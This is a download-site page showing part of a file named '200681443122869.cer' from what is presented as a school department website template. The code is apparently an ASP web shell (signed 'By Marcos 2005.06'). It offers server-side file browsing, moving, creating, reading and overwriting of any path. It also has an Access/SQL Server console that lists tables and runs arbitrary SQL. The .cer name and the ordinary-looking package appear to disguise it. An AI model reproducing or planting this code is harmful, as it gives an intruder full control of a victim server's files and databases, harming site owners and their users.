⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 200681443122869.cer

📁 学校部门网站设计,里面有好多模块譬如 简介联系方式 登陆注册留言新闻发布
💻 CER
📖 第 1 页 / 共 5 页
字号:
					Call fso.MoveFile(strPath & objX, strMoveTo & objX)
				 Else
					Call fso.MoveFolder(strPath & objX, strMoveTo & objX)
				End If
			 Else
				If InStr(strCopyTo, strPath & objX) > 0 Then
					ShowErr("目标文件夹不能在源文件夹内")
				End If
				If fso.FileExists(strPath & objX) = True Then
					Call fso.CopyFile(strPath & objX, strCopyTo & objX)
				 Else
					Call fso.CopyFolder(strPath & objX, strCopyTo & objX)
				End If
			End If
			ChkErr(Err)
		Next
	End Sub

	Sub NewOne()
		Dim objX, strPath, aryParam
		If isDebugMode = False Then On Error Resume Next
		aryParam = Split(GetPost("param"), ",")
		strPath = Server.MapPath(GetPost("truePath")) & "\" & aryParam(0)

		If aryParam(1) = "file" Then
			Call fso.CreateTextFile(strPath, False)
		 Else
			fso.CreateFolder(strPath)
		End If
	End Sub
	
	Sub ShowEdit()
		Dim theFile, strPath
		If isDebugMode = False Then On Error Resume Next
		strPath = Server.MapPath(GetPost("truePath")) & "\" & GetPost("param")
		If Right(strPath, 1) = "\" Then strPath = Left(strPath, Len(strPath) - 1)
		Set theFile = fso.OpenTextFile(strPath, 1, False)
		ChkErr(Err)

		echo "<table width=750 height=100% border=0 cellpadding=0 cellspacing=0>"
		echo "<tr>"
		echo "<td class=td><font face=webdings>8</font> FSO文本编辑器</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<form method=post action=" & url & ">"
		echo "<input type=hidden name=theAct>"
		echo "<input type=hidden value=PageFso name=PageName>"
		echo "<tr>"
		echo "<td height=22>&nbsp;<input name=truePath value=""" & Mid(strPath, Len(rootPath) + 1) & """ style=width:500px;>"
		echo "<input type=submit value=查看 onClick=this.form.theAct.value='showedit';></td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;<textarea name=fileContent style='width:735px;height:100%;'>"
		echo HtmlEncode(theFile.ReadAll())
		echo "</textarea></td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=td align=center><input type=button name=Submit value=保存 onClick=""if(confirm('确认保存修改?')){this.form.theAct.value='save';this.form.submit();}"">"
		echo "<input type=reset value=重置><input type=button onclick=window.close(); value=关闭>"
		echo "<input type=button value=查看 title='在新窗口中打开该文件链接' onclick=preView('2');>"
		echo "<input type=button value=预览 onclick=preView('1'); title='以HTML方式在新窗口中预览当前代码'></td>"
		echo "</tr>"
		echo "</form>"
		echo "</table>"

		Set theFile = Nothing
	End Sub
	
	Sub SaveToFile()
		Dim theFile, strPath, fileContent
		If isDebugMode = False Then On Error Resume Next
		fileContent = GetPost("fileContent")
		strPath = Server.MapPath(GetPost("truePath"))

		Set theFile = fso.OpenTextFile(strPath, 2, True)
		theFile.Write fileContent
		theFile.Close
		ChkErr(Err)
		
		Set theFile = Nothing
	End Sub
	
	Sub SaveAs()
		Dim strPath, aryParam, isFile
		If isDebugMode = False Then On Error Resume Next
		aryParam = Split(GetPost("param"), ",")
		aryParam(0) = Server.MapPath(aryParam(0))
		aryParam(1) = Server.MapPath(aryParam(1))
		isFile = fso.FileExists(aryParam(0))
		
		If isFile = True Then
			fso.CopyFile aryParam(0), aryParam(1), False
		 Else
			fso.CopyFolder aryParam(0), aryParam(1), False
		End If
		
		ChkErr(Err)
	End Sub

	Sub ShowImage()
		Dim stream, strPath, fileContentType
		If isDebugMode = False Then On Error Resume Next
		strPath = Server.MapPath(GetPost("truePath")) & "\" & GetPost("param")

		Set stream = Server.CreateObject("adodb.stream")
		stream.Open
		stream.Type = 1
		stream.LoadFromFile(strPath)
		ChkErr(Err)
		Response.Clear
		Response.BinaryWrite stream.Read 
		stream.Close

		Set stream = Nothing
	End Sub

	Sub PageDBTool()
		ShowTitle("Access + SQL Server 数据库操作")
		echo "<form method=post action=""" & url & """>"

		If theAct <> "" And theAct <> "Query" And theAct <> "ShowTables" Then
			SqlShowEdit()
			echo "</form>"
			Response.End()
		End If

		ShowDBTool()
		
		Select Case theAct
			Case "Query"
				ShowQuery()
			Case "ShowTables"
				ShowTables()
		End Select
		
		echo "</form>"
	End Sub

	Sub ShowDBTool()
		echo "<table width=750>"
		echo "<input type=hidden value=PageDBTool name=PageName>"
		echo "<input type=hidden name=theAct>"
		echo "<input type=hidden name=param>"
		echo "<tr>"
		echo "<td class=td><font face=webdings>8</font> Access + SQL Server 数据库操作</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td height=50 align=center>"
		echo "<input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=60>"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td align=center class=td>"
		echo "<input type=submit name=Submit value=提交 onclick=""this.form.theAct.value='ShowTables';"">"
		echo "<input type=button value=MDB onclick=""this.form.thePath.value='DataSource;UserName;PassWord;';"">"
		echo "<input type=button value=SQL onclick=""this.form.thePath.value='sql:Provider=SQLOLEDB.1;Server=(local);User ID=UserName;Password=PassWord;Database=Pubs;';"">"
		echo "<input type=reset value=重置>"
		echo "</td>"
		echo "</tr>"
		echo "</table>"
	End Sub

	Sub ShowTables()
		Dim Cat, objTable, objColumn, intColSpan, objSchema
		If isDebugMode = False Then On Error Resume Next

		echo "<br/><table width=750>"
		echo "<tr>"
		echo "<td class=td colspan=2><font face=webdings>8</font> 数据表及结构查看</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		
		CreateConn()
		Set Cat = Server.CreateObject("ADOX.Catalog")
		Cat.ActiveConnection = conn.ConnectionString
		echo "<tr><td width='20%' valign=top>"
		For Each objTable In Cat.Tables
			echo "<span class=fixSpan title='" & objTable.Name & "' onclick=""Command('Query',this.title);this.disabled=true;"" "
			echo "style='width:94%;padding-left:8px;cursor:hand;'>" & objTable.Name & "</span>"
		Next
		echo "</td><td>"
		intColSpan = IIf(isSqlServer = True, "4", "6")
		
		For Each objTable In Cat.Tables
			echo "<table width=98% align=center>"
			echo "<tr>"
			echo "<td class=trHead colspan=" & intColSpan & ">&nbsp;</td>"
			echo "</tr>"
			echo "<tr>"
			echo "<td colspan=" & intColSpan & " class=td>&nbsp;<strong>"
			echo objTable.Name & "</strong></td>"
			echo "</tr>"
			
			echo "<tr align=center>"
			echo "<td align=left width=*>&nbsp;列名</td>"
			echo "<td width=80>类型</td>"
			echo "<td width=60>大小</td>"
			echo "<td width=60>可否为空</td>"
			If isSqlServer = False Then
				echo "<td width=50>默认值</td>"
				echo "<td width=100>描述</td>"
			End If
			echo "</tr>"
			
			For Each objColumn In Cat.Tables(objTable.Name).Columns
				echo "<tr align=center>"
				echo "<td align=left><span style='width:98%;padding-left:5px;'>" & objColumn.Name & "</a></td>"
				echo "<td>" & GetDataType(objColumn.Type) & "</td>"
				If objColumn.DefinedSize <> 0 Then
					echo "<td>" & objColumn.DefinedSize & "</td>"
				 Else
					echo "<td>" & IIf(objColumn.Precision <> 0, objColumn.Precision, "&nbsp;") & "</td>"
				End If
				echo "<td>" & IIf(objColumn.Attributes = 1, "False", "True") & "</td>"
				If isSqlServer = False Then
					echo "<td><span class=fixSpan style='width:40px;padding-left:5px;' title=""" & HtmlEncode(objColumn.Properties("Default").value) & """>"
					echo HtmlEncode(objColumn.Properties("Default").value) & "</span></td>"
					echo "<td align=left><span class=fixSpan style='width:95px;padding-left:5px;' title=""" & objColumn.Properties("Description") & """>"
					echo objColumn.Properties("Description") & "</span></td>"
				End If
				echo "</tr>"
			Next

			echo "<tr>"
			echo "<td colspan=" & intColSpan & " class=td>&nbsp;</td>"
			echo "</tr>"
			echo "</table><br/>"
		Next

		echo "</td>"
		echo "</tr>"

		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=td align=right>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</table>"
		
		Set Cat = Nothing
		DestoryConn()
	End Sub

	Sub ShowQuery()
		Dim i, j, x, rs, sql, sqlB, sqlC, Cat, intPage, objTable, strParam, strTable, strPrimaryKey
		If isDebugMode = False Then On Error Resume Next
		sql = GetPost("sql")
		strParam = GetPost("param")
		strTable = GetPost("theTable")
		Set rs = Server.CreateObject("Adodb.RecordSet")

		If IsNumeric(strParam) = True Then
			intPage = strParam
		 Else
			intPage = 1
			strTable = strParam
			sql = ""
		End If
		If sql = "" Then
			sql = "Select * From [" & strTable & "]"
		End If

		For i = 1 To Request.Form("KeyWord").Count
			If Request.Form("KeyWord")(i) <> "" Then
				sqlC = Replace(Request.Form("KeyWord")(i), "'", "''")
				sqlC = IIf(Request.Form("JoinTag")(i) = " like ", "'" & sqlC & "'", sqlC)
				sqlB = sqlB & "[" & Request.Form("Fields")(i) & "]" & Request.Form("JoinTag")(i) & sqlC & Request.Form("JoinTag2")(i)
			End If
		Next
		If sqlB <> "" Then
			sql = "Select * From [" & strTable & "] Where " & sqlB
			If Right(sql, 4) = " Or " Then sql = Left(sql, Len(sql) - 4)
			If Right(sql, 5) = " And " Then sql = Left(sql, Len(sql) - 5)
		End If

		echo "<input type=hidden name=sql value=""" & HtmlEncode(sql) & """>"
		echo "<textarea name=sqlB rows=1 style='width:647px;'>" & HtmlEncode(sql) & "</textarea>"
		echo " <input type=button value=执行查询 onclick=""this.form.sql.value=this.form.sqlB.value;Command('Query','0');"">"
		echo "<input type=button value=- onclick='if(this.form.sqlB.rows>3)this.form.sqlB.rows-=3;'>"
		echo "<input type=button value=+ onclick='this.form.sqlB.rows+=3;'>"
		echo "<input type=hidden name=theTable value=""" & HtmlEncode(strTable) & """>"
		echo "<br/><table width=750>"
		echo "<tr>"
		echo "<td class=td colspan=2><font face=webdings>8</font> SQL查询器</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"

		CreateConn()
		Set Cat = Server.CreateObject("ADOX.Catalog")
		Cat.ActiveConnection = conn.ConnectionString
		echo "<tr><td width='20%' valign=top>"
		For Each objTable In Cat.Tables
			echo "<span class=fixSpan title='" & objTable.Name & "' onclick=""Command('Query',this.title);this.disabled=true;"" "
			echo "style='width:94%;padding-left:8px;cursor:hand;'>"
			If strTable = objTable.Name Then
				echo "<u>" & objTable.Name & "</u>"
			 Else
				echo objTable.Name
			End If
			echo "</span>"
		Next
		echo "</td><td valign=top>"

		If LCase(Left(sql, 7)) = "select " Then
			rs.Open sql, conn, 1, 1
			ChkErr(Err)
			rs.PageSize = PageSize
			If Not rs.Eof Then
				rs.AbsolutePage = intPage
			End If
	
			echo "<div align=left><table border=1 width=490>"
			echo "<tr>"
			echo "<td height=22 class=trHead>&nbsp;</td>"
			echo "</tr>"
			echo "<tr>"
			echo "<td height=22 class=td width=100>&nbsp;查询</td>"
			echo "</tr><tr><td align=center>"
			echo "<div><select name=Fields>"
			For Each x In rs.Fields
				echo "<option value=""" & x.Name & """>" & x.Name & "</option>"
			Next
			echo "</select>"
			echo "<select name=JoinTag><option value=' like '>like</option><option value='='>=</option></select>"
			echo "<input name=KeyWord style='width:200px;'>"
			echo "<select name=JoinTag2><option value=' And '>And</option><option value=' Or '>Or</option></select> "
			echo "<input type=button value=+ onclick=""this.parentElement.outerHTML+='<div>'+this.parentElement.innerHTML+'</div>';"">"
			echo "<input type=button value=- onclick=""this.parentElement.outerHTML='';""></div> "
			echo "<input type=button value=查询 onclick=this.form.sql.value='';this.form.param.value='1';this.form.theAct.value='Query';this.form.submit();>"
			echo "</td></tr>"
			echo "<tr><td class=td>&nbsp;</td></tr>"
			echo "</table></div><br/>"
			
			If rs.Fields.Count > 0 Then
				strPrimaryKey = GetPrimaryKey(strTable)
	
				echo "<table border=1 align=left cellpadding=0 cellspacing=0>"
				echo "<tr>"
				echo "<td height=22 class=trHead colspan=" & rs.Fields.Count + 1 & ">&nbsp;</td>"
				echo "</tr>"
				echo "<tr>"
				echo "<td height=22 class=td width=100 align=center>操作</td>"
				For j = 0 To rs.Fields.Count - 1
					echo "<td height=22 class=td width=130><span class=fixSpan title='" & rs.Fields(j).Name & "' style='width:125px;padding-left:5px;'>" & rs.Fields(j).Name & "</span></td>"
				Next
				For i = 1 To rs.PageSize
					If rs.Eof Then Exit For
					echo "</tr>"
					echo "<tr valign=top>"
					echo "<td height=22 align=center>"
					If strPrimaryKey <> "" Then
						echo "<input type=button value=编辑 title='编辑/添加' onclick=showSqlEdit('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');>"
						echo "<input type=button value=删除 onclick=sqlDelete('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');></td>"
					 Else
						echo "<input type=button value=编辑 title='编辑/添加' onclick=alert('主键不存在,操作有可能导致重大数据库灾难,并且该操作不可逆!');showSqlEdit('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');>"
						echo "<input type=button value=删除 onclick=alert('主键不存在,操作有可能导致重大数据库灾难,并且该操作不可逆!');sqlDelete('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');></td>"
					End If
					For j = 0 To rs.Fields.Count - 1
						echo "<td height=22><span class=fixSpan style='width:125px;padding-left:5px;'>" & HtmlEncode(IIf(Len(rs(j)) > 50, Left(rs(j), 50), rs(j))) & "</span></td>"
					Next
					echo "</tr>"
					rs.MoveNext

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -